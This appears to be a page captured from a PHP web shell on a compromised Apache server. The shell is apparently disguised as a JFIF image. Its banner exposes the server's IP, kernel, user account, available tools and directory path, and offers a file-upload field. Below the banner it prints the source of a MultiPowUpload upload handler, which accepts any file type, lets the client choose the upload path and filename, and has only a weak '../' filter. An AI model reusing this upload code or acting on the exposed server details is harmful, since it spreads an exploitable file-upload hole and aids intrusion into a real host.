????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.137.223.8 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/project/universal_old/FileProcessingScripts/PHP/ |
Upload File : |
<?php // Uncomment next line of code to enable cross domain scripting (if files uploaded from another domain). //setCrossOriginHeaders(); $uploaddir = dirname($_SERVER['SCRIPT_FILENAME'])."/UploadedFiles/"; /** * Use this handler to perform post upload actions * $fileName contain only name of uploaded file * $filePath conatin full path to uploaded file on your server */ function uploadCompleteHandler($filename, $filePath ) { //echo "post upload ".$filePath; } /*------------------------------------------------------------------------- * First part of this script is for regular upload method (RFC based) */ if(!isset($_REQUEST['chunkedUpload'])) { // In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead // of $_FILES. //trying restore browser cookie if(isset($_POST['MultiPowUpload_browserCookie'])) { $cookies = explode(";", $_POST['MultiPowUpload_browserCookie']); foreach($cookies as $value) { $namevalcookies = explode("=", $value); $browsercookie[trim($namevalcookies[0])] = trim($namevalcookies[1]); } $_COOKIE = $browsercookie; } //restore session if possible if(isset($browsercookie) && isset($browsercookie['PHPSESSID'])) { session_id($browsercookie['PHPSESSID']); session_start(); } //Flash send file name in UTF-8 encoding. And in most cases you need not any conversion. //But php for Windows have bug related to file name encoding in move_uploaded_file function. // http://bugs.php.net/bug.php?id=47096 // If you use file names in national encodings, change the $uploadfile assignment consider // encoding conversion by functions 'iconv()' or 'mb_convert_encoding()' as shown below: //$target_encoding = "ISO-8859-1"; // $uploadfile = $uploaddir . mb_convert_encoding(basename($arrfile['name']), $target_encoding , 'UTF-8'); // $uploadfile = $uploaddir . iconv("UTF-8", $target_encoding,basename($arrfile['name'])); if(count($_FILES) > 0) { $arrfile = pos($_FILES); $filename = basename(isset($_REQUEST["fileName"]) ? $_REQUEST["fileName"] : $arrfile['name']); $uploadfile = getUploadDir() . $filename; if (move_uploaded_file($arrfile['tmp_name'], $uploadfile)) { echo "File " .$filename . " was successfully uploaded."; uploadCompleteHandler($filename, $uploadfile); } } echo '<br>'; // At least one symbol should be sent to response!!! } /*------------------------------------------------------------------------- * The second part is for chunked upload */ else { error_reporting(E_ERROR); set_error_handler ('err_handler'); //Used only by JavaPowUpload. determines that empty folder should be created $isEmptyFolder = isset($_REQUEST["isEmptyFolder"]); //type of upload which send request. Each uploader acts individually $uploaderType = isset($_REQUEST["uploaderType"]) ? strtolower($_REQUEST["uploaderType"]) : "html5"; if($uploaderType == "drag-and-drop") $uploaderType = "html5"; //Size of uploaded file $fileSize = isset($_REQUEST["totalSize"]) ? (float)$_REQUEST["totalSize"] : 0; $fileSize = isset($_REQUEST["FileSize"]) ? (float)$_REQUEST["FileSize"] : $fileSize; $fileSize = isset($_REQUEST["fileSize"]) ? (float)$_REQUEST["fileSize"] : $fileSize; //unique file identifier $uniqueID = isset($_REQUEST["FileId"]) ? $_REQUEST["FileId"] : ""; if(isset($_REQUEST["fid"]))//$uploaderType != "silverlight" && $uploaderType != "html5") $uniqueID = $_REQUEST["fid"]; //Filename $filename = isset($_REQUEST["FileName"]) ? str_replace("../", "", $_REQUEST["FileName"]) : urldecode (isset($_REQUEST["fileName"]) ? str_replace("../", "", $_REQUEST["fileName"]) : ""); //Determines if current request is last or not. Sent by HTML5 and Silverlight uploaders $complete = isset($_REQUEST["Complete"]) ? strtolower($_REQUEST["Complete"]) == "true" ? true : false : false; //Determines whether uploader ask for current file size or not $querySize = isset($_REQUEST["QuerySize"]) ? strtolower($_REQUEST["QuerySize"]) == "true" ? true : false : false; if(isset($_REQUEST["action"]))//$uploaderType != "silverlight" && $uploaderType != "html5") $querySize = strtolower($_REQUEST["action"]) == "check" ? true : false; //Start byte - byte from whiich we should start write data into file. Sent by Silverlight uploader $startByte = isset($_REQUEST["StartByte"]) ? (int)$_REQUEST["StartByte"] : 0; //Comment and tag fields sent by Silverlight uploader and can be omited here $comment = isset($_REQUEST["Comment"]) ? $_REQUEST["Comment"] : ""; $tag = isset($_REQUEST["Tag"]) ? $_REQUEST["Tag"] : ""; //Determines if request sent with multiupart encoding $isMultiPart = isset($_REQUEST["isMultiPart"]) ? $_REQUEST["isMultiPart"] == "true" : false; //determines if chunk is compressed. $isZipped = isset($_REQUEST["isZipped"]) ? ($_REQUEST["isZipped"] == "false" ? false : true) : false; $dirPath = getUploadDir(); $openTag = ""; $closeTag = ""; /*For Java and Flash based uploaders we should return special xml structure in response */ if($uploaderType == "java") { $openTag = "<javapowupload>"; $closeTag = "</javapowupload>"; } else if($uploaderType == "flash") { $openTag = "<multipowupload>"; $closeTag = "</multipowupload>"; } //Save file with unique id as prefix $filename = basename($filename); $filePath = $dirPath . $uniqueID.$filename; // If you use file names in national encodings, change the $filePath assignment consider // encoding conversion by functions 'iconv()' or 'mb_convert_encoding()' as shown below: // $codepage = "windows-1251"; // $filePath = $dirPath . "/" . mb_convert_encoding($filename, $codepage , 'UTF-8'); // $filePath = $dirPath . "/" . iconv("utf-8", $codepage, $filename); echo $openTag; if ($querySize) { if (file_exists($dirPath) && is_dir($dirPath)) if (file_exists($filePath)) write_ok(_filesize($filePath), $uploaderType); else write_ok("0", $uploaderType); else write_error("The path for file storage not found on the server.", $uploaderType); } else { //if mulltipart mode and there is no file form field in request , then write error if($isMultiPart && count($_FILES) <= 0)// && !isset($_REQUEST["base64Encoded"])) write_error("No chunk for save.", $uploaderType); if(!$file = fopen($filePath, "a")) write_error("Can't open file for write.", $uploaderType); /*fseek may not work on files > 4 Gb in size*/ //fseek($file,0,SEEK_END); if (!is_writable($filePath)) write_error("Cannot write to the specified directory.", $uploaderType); //logic to read and save chunk posted with multipart //Multipart allow us to send form data in request body if($isMultiPart) { $filearr = pos($_FILES); if(!$input = file_get_contents($filearr['tmp_name'])) write_error("Can't read from file.", $uploaderType); } //raw data else $input = file_get_contents("php://input"); if($isZipped) unzipAndWriteChunk($filePath, $file, $input); else if(!fwrite($file, $input)) write_error("Can't write to file.", $uploaderType); fclose($file); if($uploaderType != "silverlight" && $uploaderType != "html5") $complete = ($fileSize > 0 && !$querySize) ? _filesize($filePath) >= $fileSize : true; if ($complete) { if(file_exists($dirPath."/" .$filename)) { //delete file if exist unlink($dirPath."/" .$filename); //or rename old or new file } //move file rename($filePath, $dirPath."/" .$filename); write_response("File " . basename($filename) . " was successfully uploaded.<br/>", $uploaderType); // Place here the code making postprocessing of the uploaded file (moving to other location, database, etc). uploadCompleteHandler($filename, $dirPath."/" .$filename); } else { write_response("Write chunk since byte " . $startByte. " filesize : "._filesize($filePath), $uploaderType); write_ok("", $uploaderType); } } echo $closeTag; } function unzipAndWriteChunk($filePath, $file, $input) { try{ $zip = new ZipArchive; file_put_contents($filePath."tmp", $input); $res = $zip->open($filePath."tmp"); if ($res !== TRUE) write_error("Failed to open archive"); //get first zip entry $zipEntry = $zip->getNameIndex(0); $fp = $zip->getStream($zipEntry); if(!$fp) write_error('Unable to extract the file.'); while(!feof($fp)) fwrite($file, fread($fp, 8192)); fclose($fp); $zip->close(); } catch(Exception $ex){write_error('Unable to extract chunk:'+$ex->getMessage()); } if(file_exists($filePath."tmp")) unlink($filePath."tmp"); } function err_handler ($errno, $errstr, $errfile, $errline) { GLOBAL $uploaderType; write_error("Write error: " . $errstr, $uploaderType); } function write_error($errstr, $uploader) { GLOBAL $closeTag; if($uploader == "silverlight" || $uploader == "html5") echo "Error: ".$errstr; else { echo "<error message=\"".$errstr."\"/>"; echo $closeTag; } exit; } function write_ok($size, $uploader) { if($uploader == "silverlight" || $uploader == "html5") echo $size; else if($size != "") echo "<ok size='".$size."'/>"; else echo "<ok/>"; } function write_response($response, $uploader) { if($uploader == "silverlight" || $uploader == "html5") echo $response; else echo "<response> ".($response)."</response>"; } /** * * Warkaround for issue with file > 2GB * http://www.php.net/manual/ru/function.filesize.php#88516 * * @param string $file path to file */ function _filesize($file) { //Correct output for file upt o 4 Gb in size //return sprintf("%u",filesize($file)); //Standard method //return filesize($file); // Return size in Mb try{ clearstatcache(); $INT = 4294967296; $size = filesize($file); $fp = @fopen($file, 'r'); if($fp !== FALSE) { @fseek($fp, 0, SEEK_END); if(@ftell($fp)==0 && $size !==0) $size += $INT; @fclose($fp); } if($size<0) $size += $INT; return $size; } catch(Exception $ex){ return filesize($file); } } function getUploadDir() { GLOBAL $uploaddir; $relativePath = isset($_REQUEST["filePath"]) ? $_REQUEST["filePath"] : null; if(isset($relativePath) && strpos($relativePath, "/") !== FALSE) { if(strrpos($relativePath, "/") != strlen($relativePath)-1) $relativePath = substr($relativePath,0, strrpos($relativePath, "/")+1); if(strpos($relativePath, "/") !==0) $relativePath = "/".$relativePath; if(strrpos($uploaddir, "/") == strlen($uploaddir)-1) $uploaddir = substr($uploaddir,0, strlen($uploaddir)-1); AddPath($uploaddir.$relativePath); return $uploaddir.$relativePath; } else return $uploaddir; } function AddPath($PathToCreate) { $iBreak = 0; $iBreak = strrpos($PathToCreate, "/"); if($iBreak !== FALSE) { $Parent = substr($PathToCreate, 0, $iBreak); if(!@chdir($Parent)) AddPath($Parent); } if(!@chdir($PathToCreate)) { mkdir($PathToCreate); } } function setCrossOriginHeaders() { header("Access-Control-Allow-Origin: *"); // Access-Control headers are received during OPTIONS requests if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD'])) header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS'])) header("Access-Control-Allow-Headers: ".$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']); exit; } } ?>